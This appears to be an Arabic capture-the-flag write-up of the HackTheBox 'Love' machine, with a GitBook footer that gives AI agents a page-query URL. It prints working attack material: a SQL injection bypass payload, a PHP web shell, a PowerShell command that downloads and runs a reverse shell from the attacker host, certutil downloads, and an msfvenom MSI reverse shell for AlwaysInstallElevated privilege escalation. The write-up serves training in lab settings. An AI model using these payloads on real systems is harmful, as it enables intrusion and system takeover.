> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md).

# شرح Love HackTheBox

{% embed url="<https://app.hackthebox.com/machines/344>" %}

{% hint style="warning" %}
**المهارات:**

* حقن SQL (SQLI)
* تزوير الطلبات من جانب الخادم (SSRF)
* إساءة استخدام رفع الملفات
* استغلال نظام التصويت
* إساءة استخدام AlwaysInstallElevated (ملف msiexec/msi)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/f775e57e23d9aa041917f7d5cbf6d92a2f2b10e4" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/2e4c06fc1410842cdfc617caa5308aea24487e2a" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:** استكشاف المنافذ المفتوحة وتصديرها في ملف "allPorts" ضمن دليل Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.239 -oG allPorts
```

<figure><img src="/files/756c0c7f7a997191188186d850191cb919415d07" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractport:** استخدام دالة extractport لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة.

<figure><img src="/files/2f9b1e489f8989c60f44542d74bc5c26e9bece7c" alt=""><figcaption></figcaption></figure>

**فحص إصدارات المنافذ باستخدام Nmap:** استخدام Nmap لفحص إصدارات المنافذ واستخراج المعلومات في ملف "targeted":

```bash
nmap -sCV -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 10.10.10.239 -oN targeted
```

<div data-full-width="true"><figure><img src="/files/0fc628c03521283e5e463708f905d10ca0d1e546" alt=""><figcaption></figcaption></figure></div>

<div data-full-width="true"><figure><img src="/files/da411e1d667fd8ecf0eb5b9bc19afb56b11e65cc" alt=""><figcaption></figcaption></figure></div>

لحل أسماء النطاقات إلى عناوين IP عبر DNS، يتم إدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف

<figure><img src="/files/ec1f460a4ae3c2314319ba3d8886776b078f45d5" alt="" width="563"><figcaption></figcaption></figure>

**البحث عن الأدلة:**

نستخدم Gobuster للبحث عن الأدلة على الموقع:

```bash
gobuster dir -u http://love.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="/files/f76d2f9db34f6cf565fbf9f2c7b1ad19883a1789" alt=""><figcaption></figcaption></figure>

في `admin` من خلال الدليل، نكتشف لوحة إدارة.

<figure><img src="/files/cdd5db5059b1591e2a3ccb759b797bae6bba47db" alt=""><figcaption></figcaption></figure>

## استغلال نظام التصويت:

في هذه الحالة، توجد طريقتان للتعامل مع لوحة إدارة نظام التصويت:

### 1. ثغرة SSRF:

يكشف المنفذ 443 عن `staging.love.htb` نطاق فرعي نضيفه إلى `/etc/hosts` الملف.

<figure><img src="/files/2c63806bc129ccb55a7acac5cde329004a47d79f" alt="" width="563"><figcaption></figcaption></figure>

يمكن لهذا الموقع فحص المواقع عبر عنوان URL.

<figure><img src="/files/65d27808a893ee75f068c6cebd479a202aab5c17" alt=""><figcaption></figcaption></figure>

من خلال الفحص `localhost:5000` (غير متاح من الخارج)، نكتشف بيانات الاعتماد:

`admin: @LoveIsInTheAir!!!!`

<figure><img src="/files/a7a0000780d9e729a6c3515d534cbab4d6fc03e0" alt=""><figcaption></figcaption></figure>

ملاحظة: من الخارج، تظهر الرسالة " You don't have permission to access this resource."، مما يحجب الوصول.

<figure><img src="/files/d3e3902f9f71041a58614f8a7cc94a6cddde7f65" alt="" width="563"><figcaption></figcaption></figure>

### **2. ثغرة حقن SQL (**[**SQLi**](/ar/web/sql-injection.md)**) :**

مع `searchsploit` نبحث عن ثغرات محددة في نظام التصويت ونجد الحمولة التالية:

<figure><img src="/files/d7d8a1b7e56f8ee99629228034726706f3d19b07" alt=""><figcaption></figcaption></figure>

<div data-full-width="true"><figure><img src="/files/088fca40f3fb12ef61a10e5b1baeb6d687546e23" alt=""><figcaption></figcaption></figure></div>

`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -`

باستخدام Burp Suite، نصل إلى لوحة التحكم.

<figure><img src="/files/15622691e71b797aacc9d2b18b22ace3ddcc9874" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/811531f1b181b2803d4b6fdfa3fcb331ecb12543" alt=""><figcaption></figcaption></figure>

## ثغرة رفع الملفات:

بمجرد الدخول إلى لوحة التحكم، يتيح خيار إنشاء مستخدم جديد. نقوم بإنشاء `cmd.php` ملف لتشغيل الأوامر على الخادم:

<figure><img src="/files/bb3ffc9c1663eebdefa7ab1491e3cdbd6a04c2db" alt=""><figcaption></figcaption></figure>

```bash
<?php
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
```

<figure><img src="/files/f7e1be808aa8abbb8b327fc055e2c6dff12a0320" alt="" width="482"><figcaption></figcaption></figure>

لا تطبق اللوحة أي عمليات تحقق أمنية، مما يتيح لنا حقن أوامر (مثلًا، `whoami`). وباختبار أمر ping، نتحقق من الاتصال:

<figure><img src="/files/6e17f8c96d3c3a0d3113ab2cbba5b8bc888fd1fa" alt=""><figcaption></figcaption></figure>

سنتحقق مما إذا كان يمكنه تنفيذ أمر ping

<pre class="language-bash"><code class="lang-bash">ping 10.10.14.10
<strong>tcpdump -i tun0 icmp
</strong></code></pre>

مع تلقي الرد، نؤكد إمكانية تنفيذ الأوامر على الجهاز الهدف

<figure><img src="/files/3e01d21277191cd14b47b7714fe1f78e858a8f87" alt="" width="563"><figcaption></figcaption></figure>

**أمر PowerShell للحصول على Reverse Shell**

بمجرد أن نرى أننا نستطيع تنفيذ الأوامر، سنحمّل `PS.ps1` السكربت إلى جهازنا.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

في نهاية السكربت، نضيف السطر التالي:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444
```

<figure><img src="/files/5ce881a41d7845cc9b2b590520fcf783ef8d0140" alt=""><figcaption></figcaption></figure>

سننشئ خادم ويب باستخدام `PS.ps1` البرنامج النصي

```bash
python3 -m http.server 80
```

ثم سنعدّل الأمر ليشير إلى خادم الويب الخاص بنا:

{% code overflow="wrap" %}

```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')"
```

{% endcode %}

أخيرًا، سنستمع على المنفذ 4444:

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="/files/d650dd96ab1288d1fe9e9add67db65c4eb19281b" alt=""><figcaption></figcaption></figure></div>

### علم user.txt:

<figure><img src="/files/dc0ce372d5e73bcc628d81dbfae2df369f9422cc" alt=""><figcaption></figcaption></figure>

## تصعيد الامتيازات:

### **الاستطلاع باستخدام winPEASx64.exe** <a href="#enumeration-with-winpeasx64.exe" id="enumeration-with-winpeasx64.exe"></a>

لتنفيذ تصعيد الصلاحيات على خادم Windows، شغّل أولًا `winPEAS` أداة الاستطلاع.

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20220214>" %}

تنزيل أداة الاستطلاع WIN-peacex64.exe.

```purebasic
certutil.exe -f -urlcache -split http://10.10.14.10/winPEASx64.exe winPeas.exe
```

<figure><img src="/files/d95be8742b84e2b9311641ed0968974af37e0cea" alt=""><figcaption></figcaption></figure>

```powershell
./winPEAS.exe
```

<figure><img src="/files/6ec589a01cdbce1554bc3f7b99e44a9075904dfe" alt=""><figcaption></figcaption></figure>

### التحقق من AlwaysInstallElevated

الـ `winPEAS` تتحقق الأداة من إعدادات أمان النظام المختلفة. ونحن مهتمون بشكل خاص بـ `AlwaysInstallElevated` مفتاح السجل. إذا تم ضبط هذا المفتاح على `1` في `HKLM` (HKEY/ LOCAL/ MACHINE)، فهذا يشير إلى أن جميع `.msi` الملفات يمكن تثبيتها بصلاحيات عالية، وهي ثغرة.

<figure><img src="/files/86b70774ff27e3cc930ac44245109a932f52a089" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated>" %}

**أنشئ ملف .msi للحصول على Reverse Shell**

للاستفادة من هذه الثغرة، سننشئ `.msi` ملفًا سيمنحنا، عند تشغيله، Reverse Shell. نستخدم `msfvenom` لتوليد هذا الملف:

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 --platform windows -a x64 -f msi -o reverse.msi
```

**نقل ملف .msi**/ ملف. بعد إنشاء الملف، يجب علينا نقله إلى الجهاز الهدف:

```bash
certutil.exe -f -urlcache -split http://10.10.14.10/reverse.msi reverse.msi
```

<figure><img src="/files/a4752c09439abcfbcda161fdc44e17ce712b7a1a" alt=""><figcaption></figcaption></figure>

**استمع إلى المنفذ 443**/ قبل تشغيل `.msi` الملف، يجب أن نستمع إلى المنفذ الذي حددناه. لنستخدم `nc` (netcat) لهذا:

```powershell
rlwrap nc -nlvp 443
```

**تنفيذ أمر التثبيت**/ أخيرًا، نشغّل `.msi` الملف باستخدام `msiexec`، مما يؤدي إلى التثبيت الصامت:

```powershell
msiexec /quiet /qn /i reverse.msi
```

<figure><img src="/files/c4573c56d85e6f9797206ee35d90e3c1347eb714" alt=""><figcaption></figcaption></figure>

### فلاغ الجذر :)

<figure><img src="/files/bfb902a41ccba8a15487b189ed144c8dd48eb5e7" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/a6eb4015aafad331dbad6230aa75891691da5a0c" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
